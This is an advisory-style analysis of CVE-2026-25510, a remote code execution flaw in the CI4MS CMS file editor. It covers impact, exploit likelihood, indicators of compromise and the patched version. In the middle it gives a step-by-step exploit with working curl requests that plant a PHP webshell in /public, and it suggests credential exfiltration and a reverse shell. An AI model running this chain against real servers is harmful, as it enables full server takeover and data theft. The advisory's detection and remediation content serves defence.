CVE-2026-25510: 
PHP vulnerability analysis and mitigation

CVE-2026-25510 is a critical Remote Code Execution (RCE) vulnerability in CI4MS, a CodeIgniter 4-based CMS skeleton with RBAC authorization and theme support. It affects all versions prior to 0.28.5.0 and was disclosed on February 2, 2026, by researcher Lars van Mil (GitHub: Far-Horizons). The vulnerability carries a CVSS v3.1 score of 9.9 (Critical) per the GitHub Advisory, reflecting its network-accessible, low-complexity, low-privilege attack profile with a changed scope (Github Advisory, GitHub Security Advisory).

The vulnerability is rooted in two compounding weaknesses: CWE-94 (Improper Control of Code Generation) and CWE-434 (Unrestricted Upload of File with Dangerous Type). The /backend/fileeditor/createFile endpoint lacks extension validation, allowing authenticated users to create files with any extension — including .php — in web-accessible directories such as /public. The /backend/fileeditor/save endpoint then permits writing arbitrary content into those files without server-side sanitization, enabling an attacker to inject a PHP webshell. By chaining these two flaws, an attacker with file editor permissions can deploy and execute arbitrary PHP code on the server (Github Advisory, GitHub Security Advisory).

Successful exploitation grants an attacker full control over the web server, including unrestricted access to the file system and connected databases, execution of arbitrary OS commands with server-level privileges, and the ability to permanently modify or delete application data. Because the scope is marked as "Changed" in the CVSS vector, the impact can extend beyond the CI4MS application itself to other resources on the same host. This makes the vulnerability particularly dangerous in shared hosting or multi-tenant environments where lateral movement to adjacent applications or data stores is feasible (Github Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been confirmed as of the time of disclosure; the Feedly executive summary notes there is no evidence of active exploitation (Github Advisory). The EPSS score is approximately 0.183% (40th percentile), indicating a relatively low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation does require an authenticated account with file editor permissions, which limits the attack surface compared to unauthenticated vulnerabilities, but the steps to exploit are straightforward once access is obtained.

1. Obtain Credentials: Acquire an account on the target CI4MS instance with file editor permissions — either through credential theft, phishing, or brute force.
2. Identify Target: Confirm the CI4MS version is below 0.28.5.0 and that the /backend/fileeditor/createFile and /backend/fileeditor/save endpoints are accessible.
3. Create Malicious PHP File: Send a POST request to the createFile endpoint to create a PHP file in the /public directory:

curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'

4. Inject Webshell Payload: Send a POST request to the save endpoint to write a PHP webshell into the newly created file:

curl -X POST '[SERVER_URL]/backend/fileeditor/save' \
  -H 'Content-Type: application/json' \
  -d '{"path":"/public/exploit.php","content":"<?php system($_GET[\"cmd\"]); ?>"}'  

5. Execute Arbitrary Commands: Access the webshell via a browser or curl to execute OS commands:

https://[SERVER_URL]/exploit.php?cmd=whoami

6. Escalate and Persist: Use the webshell to enumerate the file system, exfiltrate database credentials, establish a reverse shell, or create additional backdoors for persistent access (Github Advisory, GitHub Security Advisory).

• Network: Unusual POST requests to /backend/fileeditor/createFile or /backend/fileeditor/save with .php (or other executable) extensions in the name or path parameters; outbound connections from the web server process to unknown external IPs following file creation activity.
• File System: Unexpected .php files (e.g., exploit.php, shell.php) appearing in the /public directory or other web-accessible directories; files with PHP webshell patterns such as system(), exec(), passthru(), or $_GET in their content.
• Logs: Web server access logs showing POST requests to /backend/fileeditor/createFile or /backend/fileeditor/save with suspicious parameters; subsequent GET requests to newly created .php files in /public with query parameters like cmd=, c=, or exec=.
• Process: Unusual child processes spawned by the PHP-FPM or web server process (e.g., sh, bash, curl, wget, python, nc) that are not part of normal application behavior.

The vendor has released a patch in version 0.28.5.0, which adds an extension allowlist (['css', 'js', 'html', 'txt', 'json', 'sql', 'md']) to both the createFile and saveFile controller methods, blocking creation or editing of executable file types (Patch Commit). Upgrading to version 0.28.5.0 or later is the primary recommended remediation. For environments where immediate upgrade is not possible, the following workarounds should be applied: (1) restrict file operations to non-executable directories via server configuration; (2) disable PHP execution in /public and upload directories using .htaccess (php_flag engine off) or Nginx configuration (location ~ \.php$ { deny all; }); (3) implement server-side content sanitization to detect and reject PHP code patterns in file content (Github Advisory).

The vulnerability was credited to researcher Lars van Mil (GitHub: Far-Horizons) in the project's Security Hall of Fame, added in the same patch commit (Patch Commit). Coverage appeared on The Hacker Wire and was indexed by GitLab Advisories and INCIBE-CERT shortly after disclosure. No significant broader community debate or vendor controversy has been observed, consistent with the relatively niche scope of the affected software.